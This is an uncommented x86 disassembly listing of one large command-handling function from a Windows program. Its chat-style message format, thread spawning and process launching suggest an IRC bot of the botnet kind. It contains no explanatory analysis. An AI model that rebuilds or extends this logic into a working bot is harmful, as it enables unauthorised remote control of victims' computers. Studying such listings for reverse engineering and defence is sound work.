		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCB0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEC8
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407A35:				; CODE XREF: sub_401ACD+5E8Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_407A62:				; CODE XREF: sub_401ACD+4ED1j
					; sub_401ACD+4EE8j
		push	[ebp+arg_10]
		call	dword_4CAFB4
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3D8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C668
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407B44


loc_407B2E:				; CODE XREF: sub_401ACD+6075j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 26903FCh
		nop
		jmp	short loc_407B2E
; ---------------------------------------------------------------------------


loc_407B44:				; CODE XREF: sub_401ACD+605Fj
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset unk_42A4CC
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407B55:				; CODE XREF: sub_401ACD+4EA3j
					; sub_401ACD+4EBAj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A39C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset loc_4103AA
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407C41


loc_407C2B:				; CODE XREF: sub_401ACD+6172j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 26903FCh
		nop
		jmp	short loc_407C2B
; ---------------------------------------------------------------------------


loc_407C41:				; CODE XREF: sub_401ACD+615Cj
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset unk_42A358
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407C52:				; CODE XREF: sub_401ACD+4E75j
					; sub_401ACD+4E8Cj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAB
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB1
; ---------------------------------------------------------------------------


loc_407CAB:				; CODE XREF: sub_401ACD+61C8j
		mov	[ebp+var_2668],	ebx


loc_407CB1:				; CODE XREF: sub_401ACD+61DCj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC8
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCE
; ---------------------------------------------------------------------------


loc_407CC8:				; CODE XREF: sub_401ACD+61EAj
		mov	[ebp+var_266C],	ebx


loc_407CCE:				; CODE XREF: sub_401ACD+61F9j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A32C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407D7F


loc_407D69:				; CODE XREF: sub_401ACD+62B0j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 26903FCh
		jmp	short loc_407D69
; ---------------------------------------------------------------------------


loc_407D7F:				; CODE XREF: sub_401ACD+629Aj
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset unk_42A2EC
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407D90:				; CODE XREF: sub_401ACD+4E47j
					; sub_401ACD+4E5Ej
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42A2B0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset byte_414A91
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407E67


loc_407E51:				; CODE XREF: sub_401ACD+6398j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 26903FCh
		nop
		jmp	short loc_407E51
; ---------------------------------------------------------------------------


loc_407E67:				; CODE XREF: sub_401ACD+6382j
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset unk_42A278
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407E78:				; CODE XREF: sub_401ACD+4D1Aj
					; sub_401ACD+4D31j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42A248
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset dword_4137CC
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407F4F


loc_407F39:				; CODE XREF: sub_401ACD+6480j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 26903FCh
		nop
		jmp	short loc_407F39
; ---------------------------------------------------------------------------


loc_407F4F:				; CODE XREF: sub_401ACD+646Aj
		call	near ptr 2690DCCh
		nop
		push	eax
		push	offset unk_42A210
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407F60:				; CODE XREF: sub_401ACD+4BF1j
					; sub_401ACD+4C08j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42A1E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset byte_412A53
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408048


loc_408032:				; CODE XREF: sub_401ACD+6579j
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 26903FCh
		nop
		jmp	short loc_408032
; ---------------------------------------------------------------------------


loc_408048:				; CODE XREF: sub_401ACD+6563j
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset unk_42A1A8
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_408059:				; CODE XREF: sub_401ACD+4BC3j
					; sub_401ACD+4BDAj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A4
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4080A4:				; CODE XREF: sub_401ACD+65C3j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A178
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		call	near ptr 2690448h
		nop
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408130


loc_40811A:				; CODE XREF: sub_401ACD+6661j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDE
		push	32h
		call	near ptr 26903FCh
		nop
		jmp	short loc_40811A
; ---------------------------------------------------------------------------


loc_408130:				; CODE XREF: sub_401ACD+664Bj
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset dword_42A13C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_408141:				; CODE XREF: sub_401ACD+4B83j
					; sub_401ACD+4B9Aj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408234
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A110
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset byte_412E9D
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408223


loc_408211:				; CODE XREF: sub_401ACD+6754j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828B
		push	32h
		nop
		call	near ptr 26903FCh
		jmp	short loc_408211
; ---------------------------------------------------------------------------


loc_408223:				; CODE XREF: sub_401ACD+6742j
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset unk_42A0D8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_408234:				; CODE XREF: sub_401ACD+6683j
		push	offset unk_42A0A0
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40823E:				; CODE XREF: sub_401ACD+4B55j
					; sub_401ACD+4B6Cj
		push	edi
		push	[ebp+arg_10]
		call	near ptr 26B0B50h
		nop
		test	eax, eax
		jz	short loc_40826B
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42A07C
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828B
; ---------------------------------------------------------------------------


loc_40826B:				; CODE XREF: sub_401ACD+677Dj
		push	offset dword_42A070
		call	sub_41814C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980


loc_408288:				; CODE XREF: sub_401ACD+2F2Aj
					; sub_401ACD+556Fj
		add	esp, 0Ch


loc_40828B:				; CODE XREF: sub_401ACD+2136j
					; sub_401ACD+2ECCj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4082A8:				; CODE XREF: sub_401ACD+57C6j
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_4082B5:				; CODE XREF: sub_401ACD+4B27j
					; sub_401ACD+4B3Ej
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082EF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082EF
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4082EF:				; CODE XREF: sub_401ACD+6802j
					; sub_401ACD+6811j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42A040
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset byte_416CAD
		push	ebx
		push	ebx
		call	near ptr 2690448h
		nop
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4083A1


loc_40838F:				; CODE XREF: sub_401ACD+68D2j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BC
		push	32h
		call	near ptr 26903FCh
		nop
		jmp	short loc_40838F
; ---------------------------------------------------------------------------


loc_4083A1:				; CODE XREF: sub_401ACD+68C0j
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset unk_42A004


loc_4083AD:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_4083BC:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D02
; ---------------------------------------------------------------------------


loc_4083C4:				; CODE XREF: sub_401ACD+4AF9j
					; sub_401ACD+4B10j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408403
		mov	[ebp+var_638], 5


loc_408403:				; CODE XREF: sub_401ACD+692Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDE
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2670C08h
		test	eax, eax
		jnz	short loc_40844C
		push	offset unk_429FE0
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40844C:				; CODE XREF: sub_401ACD+6973j
		push	edi
		push	offset dword_429FC4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_408457:				; CODE XREF: sub_401ACD+4ACBj
					; sub_401ACD+4AE2j
		push	edi
		push	offset aDark	; "Dark"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D0
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		nop
		call	near ptr 26B0000h
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD80
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084EC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F2
; ---------------------------------------------------------------------------


loc_4084EC:				; CODE XREF: sub_401ACD+6A09j
		mov	[ebp+var_23C0],	ebx


loc_4084F2:				; CODE XREF: sub_401ACD+6A1Dj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_408509
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_40850F
; ---------------------------------------------------------------------------


loc_408509:				; CODE XREF: sub_401ACD+6A2Bj
		mov	[ebp+var_23C4],	ebx


loc_40850F:				; CODE XREF: sub_401ACD+6A3Aj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429F8C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4085BF


loc_4085A9:				; CODE XREF: sub_401ACD+6AF0j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDE
		push	32h
		nop
		call	near ptr 26903FCh
		jmp	short loc_4085A9
; ---------------------------------------------------------------------------


loc_4085BF:				; CODE XREF: sub_401ACD+6ADAj
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset dword_429F50
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4085D0:				; CODE XREF: sub_401ACD+6999j
		push	offset dword_429F08


loc_4085D5:				; CODE XREF: sub_401ACD+2E73j
					; sub_401ACD+457Cj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDE
; ---------------------------------------------------------------------------


loc_4085E8:				; CODE XREF: sub_401ACD+4A9Dj
					; sub_401ACD+4AB4j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408673
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 26903FCh


loc_408673:				; CODE XREF: sub_401ACD+6B8Ej
		push	offset dword_429EE4
		call	sub_4151AC
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408687:				; CODE XREF: sub_401ACD+4A6Fj
					; sub_401ACD+4A86j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408745
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_429ECC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408745:				; CODE XREF: sub_401ACD+6BFAj
		push	offset unk_429E98


loc_40874A:				; CODE XREF: sub_401ACD+7542j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408759:				; CODE XREF: sub_401ACD+74CAj
					; sub_401ACD+7623j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877A
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_40877A:				; CODE XREF: sub_401ACD+6C8Fj
					; sub_401ACD+72C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_409853
; ---------------------------------------------------------------------------


loc_40878B:				; CODE XREF: sub_401ACD+4A41j
					; sub_401ACD+4A58j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2218],	esi
